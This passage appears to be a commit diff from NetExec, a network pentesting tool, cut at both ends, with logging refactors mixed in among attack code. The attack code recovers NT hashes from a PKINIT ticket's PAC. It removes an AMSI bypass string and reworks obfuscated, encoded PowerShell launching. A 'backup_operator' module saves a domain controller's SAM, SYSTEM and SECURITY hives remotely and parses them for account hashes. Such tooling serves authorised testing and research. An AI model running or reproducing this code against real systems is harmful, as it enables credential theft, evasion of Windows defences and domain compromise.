if logging.getLogger().level == logging.DEBUG:
credinfo.dump()
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
if logging.getLogger().level == logging.DEBUG:
pcc.dump()
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
if logging.getLogger().level == logging.DEBUG:
credstruct.dump()
logging.info("Recovered NT Hash")
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug("AUTHENTICATOR")
print(authenticator.prettyPrint())
print("\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
logging.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug("TGS_REP")
print(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
+45 -53
View File
@@ -12,6 +12,20 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
return choice(invoke_options)
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
+4 -1
View File
@@ -24,6 +24,9 @@ class ModuleLoader:
if not hasattr(module, "name"):
self.logger.fail(f"{module_path} missing the name variable")
module_error = True
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
module_error = True
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
@@ -92,7 +95,7 @@ class ModuleLoader:
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name.lower()}": {
f"{module_spec.name}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
+101 -85
View File
@@ -3,35 +3,105 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.helpers.misc import called_from_cmd_args
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
from rich.logging import RichHandler
import functools
import inspect
import argparse
def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
"""
@functools.wraps(func)
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
self.log_console_to_file(formatted_text, *args, **kwargs)
return wrapper
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None):
def __init__(self, extra=None, merge_extra=False):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[
RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
handlers=[RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
@@ -41,77 +111,49 @@ class NXCAdapter(logging.LoggerAdapter):
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
@no_debug
def display(self, msg, *args, **kwargs):
"""Display text to console, formatted for nxc"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def success(self, msg, color="green", *args, **kwargs):
"""Print some sort of success to the user"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
"""Prints some sort of success to the user"""
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def highlight(self, msg, *args, **kwargs):
"""Prints a completely yellow highlighted message to the user"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
@@ -123,29 +165,16 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
try:
for handler in self.logger.handlers:
handler.handle(
LogRecord(
"nxc",
20,
"",
kwargs,
msg=text,
args=args,
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -153,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter):
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
with file_handler._open() as f:
if file_creation:
@@ -167,28 +196,15 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
return os.path.join(
os.path.expanduser("~/.nxc"),
NXC_PATH,
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
nxc_logger = NXCAdapter()
-42
View File
@@ -1,42 +0,0 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
""" """
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
+4 -4
View File
@@ -27,7 +27,6 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -39,6 +38,7 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -1,8 +1,8 @@
import ssl
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
@@ -41,6 +41,7 @@ class NXCModule:
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
@@ -61,11 +62,10 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -87,8 +87,7 @@ class NXCModule:
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
else:
sys.exit(1)
def do_samr_add(self, context):
"""
@@ -102,15 +101,11 @@ class NXCModule:
-------
None
"""
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -119,10 +114,13 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -178,7 +176,6 @@ class NXCModule:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
sys.exit(1)
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
+143
View File
@@ -0,0 +1,143 @@
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
